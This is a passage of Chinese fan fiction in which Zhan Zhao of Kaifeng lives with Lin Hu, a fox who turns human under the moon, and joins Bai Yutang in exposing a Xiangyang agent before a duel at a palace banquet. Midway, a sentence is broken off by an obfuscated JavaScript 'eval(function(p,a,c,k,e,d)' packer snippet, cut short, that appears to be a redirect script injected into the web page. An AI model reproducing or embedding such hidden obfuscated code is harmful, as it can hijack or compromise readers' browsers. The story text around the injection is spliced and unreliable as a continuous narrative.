展昭先是一愣,随即想起她在柴房说过“月圆能变人”,心里大概有了数。看着她这副“方脸懵逼”的模样,他紧绷的神经突然松了,忍不住低笑出声。笑声在寂静的庭院里荡开,惊飞了枝头栖息的夜鸟。 林狐被他笑得更委屈了,尾巴从衣袍下摆钻出来,气鼓鼓地拍打着地面,溅起细小的尘土。“笑什么笑!”她在心里尖叫,嘴上却只能发出“呜呜”的抗议,“还不是因为你刚才说话说一半!” 展昭止住笑,伸手将她连同那件月白外袍一起团起来。布料裹着毛茸茸的身子,像抱了团温热的云。他能感觉到她在怀里不安地扭动,爪子隔着衣袍轻轻挠着他的手腕,带着点撒娇似的力道。 “别动,我带你回房。”他的声音比刚才柔和了许多,快步穿过回廊。檐角的铁马被风吹得叮当作响,混着怀里狐狸细微的哼唧声,倒像是支奇怪的夜曲。 卧房里的铜灯还亮着,灯芯爆出细小的火星,将书架上的卷宗照得影影绰绰。展昭把林狐放在书案上,刚想解开裹着她的衣袍,就被她用爪子按住了手背。 “嗷呜!”(不许看!)她把脸埋进衣袍褶皱里,只露出两只湿漉漉的眼睛。变来变去本就够丢人了,还要被他看笑话,这让她以后怎么在开封府混? 展昭挑了挑眉,依言收回手,转身去整理散落的卷宗,眼角余光却始终留意着书案上的动静。他看着那团衣袍动了动,露出的尾巴尖紧张地卷成个小圈,心里忽然觉得,这只狐狸别扭起来的样子,倒比平日里张牙舞爪时更惹人怜爱。 没过多久,衣袍里传来细微的“咕噜”声。林狐的肚子不争气地叫了起来——从柴房出来就没吃东西,刚才变人身又耗了不少力气,此刻饥饿感像潮水般涌上来,瞬间压过了羞耻。 她悄悄探出头,见展昭正低头看着卷宗,侧脸的线条在灯光下显得格外柔和。犹豫了片刻,她用爪子轻轻扒拉了扒拉他的衣袖,发出可怜兮兮的“哼唧”声。 展昭转过头,就见她仰着方脸,豆豆眼里满是渴望,尾巴尖还在轻轻摇晃,显然是在撒娇要吃的。藏狐的脸本就方得憨厚,做这种讨好的表情,非但不可爱,反而有种说不出的滑稽,像只偷不到鸡却想讨食的笨狗。 他忍不住又笑了,指尖在她方脑门上轻轻敲了敲:“等着,我去厨房给你拿吃的。” 林狐立刻兴奋地摇起尾巴,差点把书案上的砚台扫下去。展昭眼疾手快地扶住砚台,又叮嘱道:“不许乱跑,更不许碰书案上的印信,知道吗?” “嗷呜!”(知道啦!)林狐敷衍地应着,眼睛却瞟向了那枚刻着“开封府”字样的铜印。印身泛着冷冽的光,看起来比柴房的木柴好啃多了。 展昭一走,林狐就迫不及待地从衣袍里钻出来。她抖了抖身上的灰毛,跳下床榻,蹑手蹑脚地溜到书案前。铜印沉甸甸的,她用爪子推了推,没推动,索性张开嘴,试探性地咬了一口。 “咔嚓”一声轻响,印泥屑掉了下来。 “真硬。”她撇撇嘴,刚想再咬,窗外突然闪过一道银辉——乌云散了。 月光像被打翻的银壶,哗啦啦地泼进房间。林狐只觉得浑身的骨头又开始发烫,比刚才变狐狸时更甚,像是有团火在皮肤下游走。她惊恐地发现,灰毛正在褪去,爪子变回纤细的手指,尾巴缩进皮肉里,只留下个小小的凸起。 “不好!”她慌得手忙脚乱,想跑回衣袍里,可身体还在变化,四肢不听使唤。慌乱中,她瞥见墙角的衣柜,想也没想就钻了进去,还顺手拉上了柜门。 衣柜里黑漆漆的,挂满了展昭的衣袍,全是些素净的青、白、藏青三色,带着淡淡的皂角香和阳光晒过的味道。林狐缩在最里面的角落,背靠着冰冷的柜壁,听着自己越来越快的心跳声,脸颊烫得能煎鸡蛋。 她这是……又变回来了? 就在这时,房门被推开,展昭的脚步声由远及近。林狐吓得屏住呼吸,连大气都不敢喘,只能往锦衣堆里缩了缩,祈祷他不要打开衣柜。 可事与愿违,她缩得太急,不小心碰掉了挂在柜壁上的一柄玉簪。玉簪“啪嗒”一声落在地上,在寂静的房间里格外刺耳。 “谁在里面?”展昭的声音瞬间警惕起来,紧接着,衣柜门被“吱呀”一声拉开。 月光从柜缝漏进来,刚好照在林狐肩头——那里还残留着几片没完全褪去的灰毛,像落了层碎银。她蜷缩在锦衣堆里,身上那件月白中衣早在刚才的慌乱中被蹭掉了,此刻只能用一件绣着云纹的锦袍勉强裹住身子,偏偏身后的狐尾还没完全收回去,毛茸茸的尾巴尖正因为紧张而微微颤抖。 四目相对的瞬间,空气仿佛凝固了。 林狐的脸“腾”地红透了,从脸颊一直蔓延到耳根,她下意识地把锦袍往身上紧了紧,恨不得找个地缝钻进去。活了二十多年,她从没这么丢人过——裸身藏在男人的衣柜里,还长着条尾巴! 展昭的瞳孔骤然收缩,像是被烫到似的猛地转过身,耳尖红得快要滴血。他手里端着的食盒“咚”地放在桌上,里面的糕点滚了出来,他却浑然不觉。 “你……”他的声音干涩得厉害,清了清嗓子才找回自己的声音,“把衣服穿好。” 说着,他抓起搭在椅背上的月白外袍,猛地往衣柜里扔去。外袍在空中划过一道弧线,带着一阵风,刚好落在林狐面前,衣摆扫过她的脸颊,带着熟悉的皂角香。 林狐慌忙抓起外袍,胡乱地往身上套。袍子很长,几乎拖到地上,袖口宽大得能塞下两个拳头,却意外地暖和。她系腰带的时候,才发现狐尾还露在外面,正不安分地扫着地面。 “那个……”她小声开口,声音细若蚊蚋,“我不是故意的……” 话音未落,尾巴尖突然扫过展昭的脚踝。那触感柔软又温热,像团小火苗,瞬间窜遍了他的四肢百骸。 展昭的喉结明显地滚了滚,背对着她,声音哑得像被砂纸磨过:“尾巴……也收收。” 月光从窗棂照进来,在他挺直的脊背上流淌,像条沉默的河。林狐这才发现自己的尾巴还露在外面,脸又红了红,连忙集中精神,把尾巴收了回去。 衣柜的影子投在地上,像个密不透风的茧,裹着他略显急促的呼吸和她砰砰的心跳。房间里安静得能听到灯芯燃烧的噼啪声,气氛尴尬又微妙。 林狐低头看着身上的月白外袍,指尖轻轻拂过衣襟上绣着的暗纹。这袍子上满是展昭的味道,清冽的皂角香混着淡淡的松烟墨味,像晒过太阳的草地,让她慌乱的心绪渐渐平静下来。 “这袍子……”她犹豫了半天,还是小声说道,“有你的味道。” 展昭的背影僵了僵,过了好一会儿才低声道:“……安分穿好。” 他转过身时,眼神已经恢复了平日的清澈,只是耳尖的红还未褪去。他指了指桌上的食盒:“我给你拿了桂花糕和肉脯。” 林狐这才想起自己饿了,可此刻哪还有心思吃东西?她摇摇头,眼神有些不安地看着他:“你……你不会把我当妖怪吧?” 展昭看着她紧张得攥紧衣角的样子,像只受惊的小鹿,心里忽然软了软。他走到桌前,拿起一块桂花糕递过去:“在我眼里,你只是林狐。” 林狐愣住了,抬头看向他。他的眼神很认真,没有丝毫嫌弃或恐惧,只有平静和坦然。心里的不安像被风吹散的雾,瞬间消失得无影无踪。她接过桂花糕,咬了一小口,清甜的味道在舌尖弥漫开来。 “其实……我也不知道为什么会这样。”她一边吃,一边含糊地说,“有时候是狐狸,有时候是人,好像跟月亮有关。” 展昭点点头,示意她继续说。 “在柴房的时候,月光照进来,我就突然变成人了。刚才乌云遮住月亮,我又变回去了,现在月亮出来,我又……”她摊了摊手,无奈地笑了笑,“是不是很奇怪?” “不奇怪。”展昭递给她一杯水,“世间之大,无奇不有。”他顿了顿,补充道,“以后变人前,提前吱声。” 林狐被他一本正经的样子逗笑了,刚才的尴尬一扫而空。“知道啦,展护卫!”她学着衙役的样子敬了个礼,结果因为动作太大,宽大的袖子差点把水杯扫翻。 展昭眼疾手快地扶住水杯,看着她手忙脚乱的样子,嘴角忍不住微微上扬。 那一晚,林狐睡在了展昭卧房的软榻上,盖着他的薄被。展昭则 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展昭被她逗笑了,走过去,捡起那把短剑,递给她:“用爪子试试,递东西要这样。”他握着她的爪子,教她怎么用前爪捧着短剑。 林狐学得很认真,只是藏狐的爪子天生适合扒拉和撕咬,让它们安安静静地捧着东西,实在是太难了。她练了没一会儿,就失去了耐心,偷偷把短剑扔到一边,跑去啃书案上的官印。 “不许咬!”展昭眼疾手快地把官印抢过来,看着上面清晰的牙印,额头青筋跳了跳,“这是府衙的印信,很重要的。” “可是它看起来很好啃的样子。”林狐舔了舔爪子,眼神里满是无辜。 展昭哭笑不得,只好把官印收起来,又拿了个苹果给她:“啃这个。” 林狐抱着苹果啃得不亦乐乎,尾巴摇得像朵盛开的花。展昭看着她的样子,无奈地摇摇头,继续去整理卷宗。 可他还是低估了林狐的破坏力。 下午的时候,展昭正在院子里练习书法,林狐突然叼着他的剑穗跑了。那剑穗是师傅送他的,上面系着枚小小的玉佩,很是珍贵。 “林狐!把剑穗还给我!”展昭放下笔,追了上去。 林狐却像是玩起了捉迷藏,叼着剑穗在院子里跑来跑去,时不时还停下来,冲着展昭龇牙咧嘴,像是在挑衅。展昭的肩伤还没好,跑不快,只能看着她上蹿下跳。 突然,林狐一个纵身,跳上了屋顶,把剑穗藏进了瓦片下面,还得意地冲展昭叫了两声。 “你下来!”展昭叉着腰,仰头看着屋顶上的狐狸,又气又笑。 林狐却偏不下来,只是蹲在屋顶上,晃着尾巴,像是在说“有本事你上来呀”。 展昭没办法,只好搬来梯子,慢慢爬上屋顶。瓦片在脚下发出“咔嚓”的声响,他小心翼翼地移动着,生怕踩碎了瓦片掉下去。 林狐见他上来了,立刻叼起剑穗,往屋顶的另一端跑。展昭只好跟在她后面追。两人在屋顶上你来我往,像两只追逐嬉戏的猫。 就在展昭快要抓住林狐的时候,她突然脚下一滑,朝着旁边滚去。展昭眼疾手快,一把抓住她的尾巴,结果自己也失去了平衡,跟着滚了下去。 “砰!” 两人滚作一团,从屋顶的斜坡上滑下来,幸好下面有棵老槐树挡了一下,才没直接掉下去。展昭压在林狐身上,两人都摔得不轻,尤其是展昭的肩伤,又开始隐隐作痛。 “嘶……”他倒吸一口凉气。 林狐也被摔懵了,好半天才缓过来。她看着展昭痛苦的表情,知道自己闯祸了,连忙用脑袋蹭了蹭他的脸颊,喉咙里发出“呜呜”的声音,像是在道歉。 展昭看着她湿漉漉的眼睛,心里的火气瞬间消了大半。他抬手,轻轻摸了摸她的头:“没事吧?” 林狐摇摇头,用爪子扒拉着他的衣襟,把藏在里面的剑穗叼了出来,乖乖地放在他手里。 展昭接过剑穗,看着上面沾着的几根狐毛,又看了看自己满身的灰尘和狐毛,无奈地笑了。他低头,对上林狐那双亮晶晶的眼睛,突然觉得,这样的日子,好像也没那么糟糕。 夕阳的余晖洒在屋顶上,把一人一狐的影子拉得很长。林狐窝在展昭怀里,用舌头轻轻舔着他受伤的肩膀,尾巴紧紧地缠在他的手腕上。展昭靠在槐树上,感受着怀里毛茸茸的温暖,嘴角忍不住微微上扬。 远处传来包拯和公孙策的谈话声,混着衙役们训练的呐喊,构成了一幅热闹的画卷。而在这画卷的一角,一只调皮的藏狐和一位端方的侠客,正享受着这难得的宁静时光。 展昭知道,前路还有很多艰险,襄阳王和庞太师的势力盘根错节,想要查清真相,绝非易事。但他看着怀里的林狐,心里突然充满了勇气。无论未来有多少风雨,他都会保护好这只突然闯入他生活的狐狸,护她周全。 林狐似乎也感受到了他的心意,用脑袋蹭了蹭他的下巴,发出舒服的呼噜声。她不知道什么襄阳王,也不懂什么朝堂纷争,她只知道,跟着展昭,有烧鸡吃,有安稳觉睡,这样就很好了。 11. 玩闹日常 时间缓缓,又流过了几日。 夜风卷着落叶掠过回廊,林狐追着那只萤火虫跑过第三根廊柱时,突然觉得骨头缝里像钻进了无数根细针。她踉跄着停下脚步,看着自己的指尖正在以肉眼可见的速度变化——人类的指节褪去,露出灰扑扑的狐爪,尖利的指甲刺破皮肤探出来,把刚学会用手指捏着的茶杯“哐当”一声摔在地上。 “怎么了?”展昭的声音从身后传来,他刚练完剑,玄色劲装的下摆还沾着草叶上的露水,见她弓着背发抖,立刻收了势,“又不舒服?” 林狐想点头,喉咙里却只发出“呜呜”的轻响。乌云正从东边涌过来,像块浸了墨的布,一点点吞掉天上的月盘。她能感觉到皮肤下的肌肉在抽搐,人类的形态正在剥离,骨头缝里的痒意顺着血液蔓延,比上次在窑厂变狐时更烈。 “要变回去了?”展昭快步走过来,伸手想扶她,却被她猛地躲开——上次在屋顶滚作一团时,她用爪子抓伤了他的手背,此刻那道浅疤还在他腕间泛着粉。 林狐往后缩了缩,尾巴不受控制地翘起来,扫过他的靴面。狐毛沾在他的玄色劲装上,像撒了把碎雪。她突然很想钻回衣柜里——那里有他叠得整整齐齐的朝服,带着皂角和阳光的味道,比此刻的夜风更让人安心。 “别怕。”展昭的声音放得很轻,他弯腰时,腰间的剑穗晃了晃,那是她昨天叼走又还回来的,上面还沾着她的狐毛,“我抱你回房。” 他的手臂穿过她的膝弯时,林狐下意识地抓住了他的衣襟——这是他教的“规矩”,紧张时可以抓着东西稳住身子。可指尖刚触到布料,就觉得皮肤下的肌肉在发烫,像揣了块炭火。 “唔……”她闷哼一声,人类的指甲正在缩回,长出尖利的狐爪,不小心划破了他的衣料。 展昭的动作顿了顿,却没松手,只是把她抱得更稳了些:“抓牢了。”他的声音有点哑,耳尖在廊灯下泛着红——上次在屋顶,她也是这样,用刚长出的利爪抓住他的衣襟,两人滚作一团时,他的后背被瓦片硌出了红痕。 卧房里的烛火还亮着,映得桌上的药碗泛着暖光。展昭把她放在榻上时,林狐突然发现自己的手腕正在长毛,灰扑扑的,像刚从灶膛里钻出来。她慌忙往角落缩,却忘了尾巴已经舒展开,扫过他的脚踝。 “尾巴……”展昭的喉结滚了滚,背对着她去拿药膏,“也收收。” 月光从窗棂漏进来,在他挺直的脊背上流淌,像条沉默的河。林狐乖乖把尾巴往袍子里塞,却不小心勾住了他的腰带——那是她下午趁他午睡时,用爪子学着系的蝴蝶结,歪歪扭扭,却是练了十几次的成果。 “笨手笨脚的。”他的声音里带着笑意,转身时手里拿着件里衣,抖开时带起一阵风,吹得她耳尖发红,“先穿这个。” 里衣上还留着阳光的味道,是展昭早上晒在院子里的。林狐忽然想起昨天在屋顶,他为了掏她藏的剑穗,趴在瓦片上伸手够,结果被她绊得滚下来,压在她身上时,也是这样,衣襟上沾着她的狐毛,却半句重话都没说。 “穿好了吗?”展昭的声音从屏风后传来,带着点不易察觉的紧张。他教她认官印时都没这么谨慎,此刻却连脚步声都放轻了,像怕惊飞檐下的鸟。 林狐把脸埋进里衣,闻着那股熟悉的皂角香,突然觉得这些“规矩”也没那么讨厌了。至少,他愿意花时间教她,而不是像初见时那样,直接把她当成妖物。 窗外的雨不知何时停了,月盘重新挂在天上,把衣柜的影子投在地上,像个密不透风的茧。林狐看着铜镜里的自己——人类的脸庞,却在耳廓和肩头留着圈细细的狐毛,像落了层霜。 “还没好利索?”展昭不知何时走了过来,手里拿着她下午咬坏的木牌——那是他教她认的“开封府”令牌,被她啃出了个小缺口。他没像往常那样敲她的脑袋,只是用指腹轻轻蹭过那个牙印,“下次想咬,跟我说,给你找木头练。” 林狐的心跳漏了一拍。他的指尖很暖,比药碗里的热水更让人安心。她忽然想起公孙策前几日来送药时,盯着展昭衣襟上的狐毛笑:“展护卫如今倒像养了只家眷,不是养了只狐狸。” 当时展昭斥道“先生取笑了”,耳根却红得像熟透的樱桃。 “想什么?”展昭的声音把她拉回现实,他正弯腰给她的爪子涂药膏——昨天在屋顶打滚时,她的爪垫磨破了。 “在想……剑穗还你。”林狐用爪子指了指房梁,那里藏着他的生辰剑穗,“不藏了。” 展昭的动作顿了顿,随即笑了,眼角的细纹都舒展开:“早该还了,那是我师父送的。”他伸手想去够,却被她突然扑进怀里——这是她新学的撒娇方式,比叼走东西更直接。 狐毛沾满他的衣襟,像撒了把雪。展昭的手悬在半空,最终还是轻轻落在她的背上,动作放得极慢:“好了好了,不闹了。” 月光透过窗纸照进来,在两人交缠的衣襟上流淌。林狐忽然觉得,这些被“规矩”框住的日子,像慢慢熬煮的药汤,初尝是苦的,回味却带着点甜。 接下来的日子,展昭的伤渐渐好转,教她“规矩”的时间也多了起来。 清晨的露水还挂在草叶上时,他就会把官印放在桌上,让她用爪子轻轻碰——“这是府衙的印,比剑穗重要,不能咬。”他握着她的爪垫,一点点教她发力,指尖的温度透过皮毛传进来,像春日的阳光。 林狐学得很认真,肉垫被磨得有点红,却还是每天等他批完公文,用爪子把卷宗推到他面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林狐的鼻子动了动,立刻醒了。她用爪子捏起一颗栗子,递到他面前——动作还有点笨拙,却是练了几十次的成果。展昭接过时,指尖碰到她的爪垫,温温热热的,像揣了只小暖炉。 “不错。”他的声音里带着笑意,把栗子放进她嘴里,“这次没咬坏东西。” 林狐嚼着栗子,突然觉得,这些方方正正的规矩里,好像也藏着点甜。就像这栗子,要剥了壳才好吃;就像这日子,要慢慢熬,才能尝到里面的暖。 夕阳把两人的影子拉得很长,落在廊下的石阶上,像幅安静的画。展昭看着她用爪子笨拙地模仿他握笔的姿势,突然觉得,或许不用教得那么急。毕竟,有只总爱闯祸的狐狸陪着,这冷清的开封府,也多了些烟火气。 12. 不速之客 襄阳城的雨下了三天三夜,青石板路被泡得发涨,踩上去能溅起半尺高的水花。白玉堂站在客栈二楼的窗边,指尖捻着枚刚剥好的莲子,看着街对面药铺屋檐下躲雨的武者——那人腰间悬着柄锯齿刀,帽檐压得极低,可露在外面的手背上,有道月牙形的疤痕,和雷英死士耳后的刺青隐隐呼应。 “四哥,那小子又在跟卖柴的搭话了。”卢方凑过来,声音压得像块浸了水的棉絮,“方才我去买包子,听见他说‘朝廷查案查得紧,无非是想抄咱们这些江湖人的家底’。” 韩彰正用布条缠手腕上的新伤,闻言冷笑一声:“前儿在码头,他跟船工说‘御猫展昭仗着官府势力,平白夺走太湖帮的地盘’;昨儿又在酒肆撺掇镖师,说‘包大人铁面无私是假,搜刮民脂民膏是真’。这张嘴,比三哥的迷药还毒。” 蒋平蹲在桌角擦他的分水峨眉刺,铜片在油灯下映出张狡黠的脸:“依我看,这小子不是冲着咱们来的,是想搅得江湖与朝廷势同水火。襄阳王的人,手段倒是越发阴了。” 白玉堂将莲子丢进嘴里,清甜里泛着点涩。自打上次西寨一战,雷英的死士折损大半,襄阳王那边消停了不少,他本以为能喘口气,没成想冒出这么个搅屎棍。这武者武功路数古怪,轻功尤其好,每次他们想动手拿人,对方总能像抹影子似的消失在巷弄里,只留下满街被挑唆起来的怨愤。 “光跟着不是办法。”他指尖敲了敲窗棂,雨珠顺着木缝往下淌,在窗台上积成小小的水洼,“得给他搭个戏台,让他唱一出。” 五鼠凑在一块儿嘀咕了半宿,油灯芯爆了三次火星,终于定下计来。蒋平连夜写了封密信,塞进信鸽的脚环里,那鸽子扑棱棱冲进雨幕,翅膀上的水珠在月光下像撒了把碎银。 三日后,开封府周边的茶馆酒肆里,突然传开个消息——锦毛鼠白玉堂不服展昭“御猫”称号,扬言三日后夜里,要闯开封府盗取镇府三宝,与展昭一较高下,谁输了,谁就摘了这“猫鼠”名头。 消息传得比风还快,连街边说书的都改了新段子,把白玉堂说得神乎其神,又把展昭夸得天上有地下无,只等月圆之夜一决胜负。 展昭听到这消息时,正在给林狐梳毛。藏狐趴在他腿上,舒服得直哼哼,尾巴尖随着梳子的动作轻轻扫着他的手腕。他指尖一顿,梳子卡在了打结的狐毛里:“白玉堂?他不是早认了这称号么?” 公孙策正在一旁捣药,闻言抬头笑了笑:“怕是醉翁之意不在酒。你想,他若真要盗宝,何必闹得人尽皆知?” 展昭摸着下巴沉吟。这几日他总觉得心神不宁,襄阳那边送来的密报里,频繁提到个“挑唆江湖恩怨的武者”,如今白玉堂这出戏,倒像是冲着那人来的。他低头看了看怀里的林狐,她不知何时睡着了,嘴角还沾着点烧鸡碎屑,方脸上满是憨态。 “看来,得给锦毛鼠搭个好台子。”他轻轻抽出梳子,将林狐抱到软榻上,掖好薄被,转身去库房检查那所谓的“镇府三宝”——其实不过是先帝赐的一块玉佩、一柄古剑,外加包拯年轻时断案用的惊堂木,算不上什么稀世珍宝,却足够引人耳目。 ***决战之夜,月凉如水。 开封府的屋檐在月光下泛着冷白的光,飞檐上的走兽吞着清辉,像蛰伏的猛兽。白玉堂穿着身月白劲装,悄无声息地落在墙头,靴底踩着薄霜,发出细碎的“咯吱”声。他往后瞥了眼,街角的槐树影里,果然藏着个鬼鬼祟祟的身影——正是那挑唆是非的武者。 “鱼儿上钩了。”白玉堂勾了勾唇角,足尖一点,像片羽毛似的掠进府内。他故意放重了脚步,腰间的玉佩撞击出清脆的声响,在寂静的夜里格外分明。 穿过前院时,他看到值夜的衙役缩在廊下打盹,嘴角还挂着口水——显然是得了展昭的吩咐,装睡的。他忍不住低笑,这御猫,配合得倒挺默契,就是不知道待会儿动手时,能不能接得住他三招。 镇府三宝放在包拯的书房。白玉堂避开廊下的灯笼,足尖在青砖地上一点,身形陡然拔高,眼看就要跃上书房的窗台,脚踝突然一紧。 “嗯?”他低头,借着月光一看,差点没气笑了。 一只灰扑扑的藏狐正死死咬着他的靴筒,蓬松的大尾巴缠在他脚踝上,像条毛茸茸的绳索。那狐狸瞪着圆溜溜的豆豆眼,喉咙里发出“呜呜”的威胁声,显然是把他当成了偷鸡贼。 “哪来的小畜生!”白玉堂又好气又好笑,想抬脚甩掉,又怕伤着它。这狐狸看着眼熟,倒像是展昭总带在身边的那只,难怪跟主人一样,都爱多管闲事。 林狐被他晃得牙酸,咬得更紧了。她本来在展昭房里睡得好好的,突然听见外面有动静,还以为是上次偷鸡的黄鼠狼又来了,凭着一股子护食的劲儿就冲了出来,正好撞见个黑影蹿进院子。管他是谁,先咬住再说! 就在一人一狐僵持不下时,一道清越的声音从身后传来:“白兄弟,别来无恙?” 白玉堂回头,就见展昭穿着身绯红官袍,正负手站在廊下,月光落在他肩头,把衣料染得像团流动的火。他看着自己被狐狸缠得动弹不得的脚踝,再看看展昭唇边那抹若有若无的笑意,顿时觉得面子有些挂不住。 “展小猫,你就看着?”他挑眉,手腕一翻,袖中飞出枚飞皇石,精准地打在林狐的尾巴根上。这石头是他特意寻来的汉白玉磨制,石面光滑如玉,分量轻,打上去只会疼不会伤,正是他惯用的暗器,取名“飞皇”,倒不是攀附皇家,只图个“石出如箭,快若惊鸿”的意头。 林狐被打得“嗷呜”一声,下意识松了嘴。白玉堂趁机抽回脚,刚想施展轻功跃上窗台,却见展昭身形一晃,已挡在他面前。 “既来了,何不喝杯茶再走?”展昭的声音里带着笑意,手却按在了腰间的巨阙剑上。 白玉堂知道他是想拖延时间,引那暗处的武者靠近,索性顺水推舟。他脚尖在地上划了个圈,身形陡然旋转,袖中猝不及防飞出三枚飞皇石,石风凌厉,带着破空的锐响,却在离展昭三寸处,被他用两根手指稳稳夹住。 “雕虫小技。”展昭指尖一弹,飞皇石倒飞而回,速度比来时更快。 白玉堂早有准备,身形如陀螺般旋转,避开石雨的同时,右手成爪,直取展昭心口。这一爪看似刚猛,实则留了七分力,指尖在触及展昭衣襟的瞬间突然变向,化作掌风扫向他的腰侧。他就是要让暗处的人看看,这御猫也不是什么铁板一块。 展昭不闪不避,左手精准地扣住他的手腕,右手顺着他的手臂滑下,食指在他脉门上轻轻一点。白玉堂只觉得手臂一麻,力道顿时卸了大半,他低笑一声,借着展昭的力道往后翻跃,足尖在廊柱上一蹬,身形再次扑上,掌风裹挟着月色,竟带起几分凌厉的杀气。 两人在院子里缠斗起来。月光透过树叶的 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就在他转身想溜时,五道黑影突然从房顶上跃下,瞬间将他围在中间。卢方的刀、韩彰的锤、蒋平的峨眉刺、徐庆的斧,再加上白玉堂不知何时摸过来的剑,五件兵器在月光下闪着寒光,把他困得密不透风。 “阁下搅了这么久,也该留个姓名了。”卢方的声音冷得像冰。 那武者知道中计,突然从怀里掏出个烟雾弹,狠狠砸在地上。白烟瞬间弥漫开来,刺鼻的气味呛得人睁不开眼。可他刚想趁机突围,就被一道凌厉的掌风拍中后背,踉跄着扑倒在地——是展昭。 烟雾散去时,武者已被捆得结结实实,嘴里塞着布条,只能发出“呜呜”的挣扎声。韩彰上前一把扯下他的帽檐,露出张普通的脸,只是那双眼睛里,满是阴鸷和不甘。 “搜搜他身上。”白玉堂踢了踢他的腿,语气里带着几分不屑。这种只会躲在暗处挑唆的鼠辈,连让他动用飞皇石的资格都没有。 蒋平从他怀里摸出个小小的令牌,上面刻着个“襄”字,边缘还沾着点暗红色的印记,像是干涸的血。 “果然是襄阳王的人。”展昭看着那令牌,眉头微微皱起,“看来,他们是想借江湖之手,给开封府制造麻烦。” 白玉堂耸耸肩,走到廊下,看着还在啃烧鸡的林狐,突然伸手想去摸她的头。林狐警惕地躲开,喉咙里发出“呜呜”的威胁声,显然还记着刚才被飞皇石打的仇。 “这狐狸,倒跟你一样护家。”白玉堂嗤笑一声,收回手时却悄悄从袖中摸出块桂花糕,丢到林狐面前,“算本少爷赏你的,别跟个饿死鬼似的。” 林狐闻到香味,立刻忘了仇怨,叼起桂花糕啃得不亦乐乎。展昭看着这一幕,眼底的笑意更深了些。这锦毛鼠,还是老样子,嘴硬心软。 远处传来打更人的梆子声,“咚——咚——”,一共三下,正是三更天。月光重新从云层里钻出来,把院子照得如同白昼。展昭知道,平静只是暂时的,襄阳王的阴谋像张无形的网,正在一点点收紧。但只要身边有这些可靠的伙伴,有这只总能在关键时刻带来意外之喜的狐狸,再难的路,他也有勇气走下去。 林狐啃完桂花糕,蹦蹦跳跳地跑到展昭脚边,用脑袋蹭着他的裤腿,尾巴尖得意地晃着。白玉堂看着一人一狐亲昵的模样,轻哼一声转过头去,嘴角却忍不住微微上扬。有些情谊,哪怕嘴上争得面红耳赤,骨子里的默契,却早已刻进了血脉里。 13. 剑与狐狸 开封府的桂花落尽时,宫里来了道旨意。说是中秋将至,皇上感念包拯操劳,特召开封府众人入宫赴宴,连带着五鼠也得了恩典——毕竟他们破获那桩挑拨武林与朝廷关系的阴谋案有功,揪出了襄阳王安插在江湖的眼线,皇上早有招安之意。 消息传到展昭耳中时,他正在给林狐处理爪子上的新伤。这狐狸不知从哪儿叼来只活蹦乱跳的兔子,追得满院子跑,结果被兔子蹬了一爪子,肉垫上划了道血口子,正委委屈屈地趴在他膝头,任由他用棉布蘸着药水擦拭。 “宫里规矩多,你可得安分些。”展昭的指尖轻轻按在她的肉垫上,那里还残留着泥土和草屑的气息。林狐舒服地眯起眼,尾巴尖勾住他的手腕晃了晃,喉咙里发出“呼噜”声,像是在答应,又像是在撒娇。 一旁的白玉堂正用锦布擦拭他的佩剑,闻言嗤笑一声:“就这小畜生的性子,进了宫怕是要把御花园的花全刨了。”他说这话时,眼神却瞟向林狐爪子上的伤,嘴角撇了撇,从袖中摸出个小小的瓷瓶丢过去,“上好的金疮药,比你这黑乎乎的药水管用。” 展昭接住瓷瓶,道了声谢。林狐却不领情,冲着白玉堂龇牙咧嘴地“嗷呜”了一声,像是在说“不用你假好心”。 白玉堂挑眉,作势要伸手去揪她的尾巴:“小畜生还挺记仇。” “白兄弟。”展昭轻咳一声,挡住他的手,“她年纪小,不懂事。” “哼,跟某些人一样,仗着有人护着就无法无天。”白玉堂收回手,转身往外走,临出门时又丢下一句,“明日入宫,可别给咱们江湖人丢脸。” 展昭看着他的背影,无奈地笑了笑。这锦毛鼠,总是这样口是心非。他低头看向怀里的林狐,她正用舌头舔着他手背上刚才被她爪子不小心划到的小伤口,湿漉漉的舌尖带着点痒意,像羽毛轻轻扫过心尖。 ***入宫赴宴的日子恰逢中秋,御花园里摆满了圆桌,瓜果点心堆得像小山。皇上高坐主位,身边伴着皇后和几位皇子,文武百官按品级分列两侧,气氛庄重又热闹。 展昭穿着绯红官袍,身姿挺拔地站在包拯身后,眼角的余光却总忍不住瞟向袖袋——林狐正缩在里面,只露出个毛茸茸的脑袋,好奇地打量着周围的一切。她的尾巴尖时不时扫过他的手腕,带着点不安分的痒。 白玉堂就站在不远处,穿着身月白锦袍,腰间悬着佩剑,脸上挂着恰到好处的笑容,应对着周围官员的寒暄,眼神却时不时往展昭这边瞟,带着点挑衅的意味。 宴席过半,皇上兴致大发,提起那桩挑拨江湖与朝廷的案子,对五鼠赞不绝口:“若非白壮士与四位义士慧眼识珠,怕是还让那奸佞之徒蒙骗了去。”说着,他看向展昭,“展护卫剑法卓绝,白壮士亦是文武双全,今日正好让朕一开眼界,不如切磋一番?” 展昭与白玉堂对视一眼,同时躬身领命。 御花园中央的空地上,早有侍卫清出一片场地。海棠树正值花期,粉白的花瓣被风吹得簌簌落下,像下了场温柔的雨。 展昭抽出巨阙剑,剑身映着天光,泛着冷冽的光。白玉堂也拔出佩剑,剑穗上的明珠随着他的动作轻轻摇晃,折射出细碎的光芒。 “展小猫,今儿就让你见识见识,什么叫真正的剑法。”白玉堂的剑尖斜指地面,语气里带着惯有的傲气,眼底却闪过一丝认真。他心里憋着股劲,那日在开封府被这狐狸搅了局,今日定要堂堂正正分个高下。 “白兄弟请指教。”展昭的剑尖微微上扬,姿态沉稳。他知道白玉堂的性子,越是好胜,出手便越是凌厉。 话音未落,白玉堂已率先出招。他的身影如离弦之箭,瞬间欺近展昭身前,剑尖带着破空的锐响,直取展昭的肩头。这一剑快如闪电,角度刁钻,正是他得意的“穿云式”。展昭不慌不忙,手腕一转,巨阙剑划出道优美的弧线,稳稳地挡住了他的攻势。 “叮”的一声脆响,两剑相交,迸出细碎的火星,震得两人手臂都微微发麻。 周围的官员发出一阵低低的赞叹。皇上看得兴致勃勃,端着酒杯的手都忘了放下。 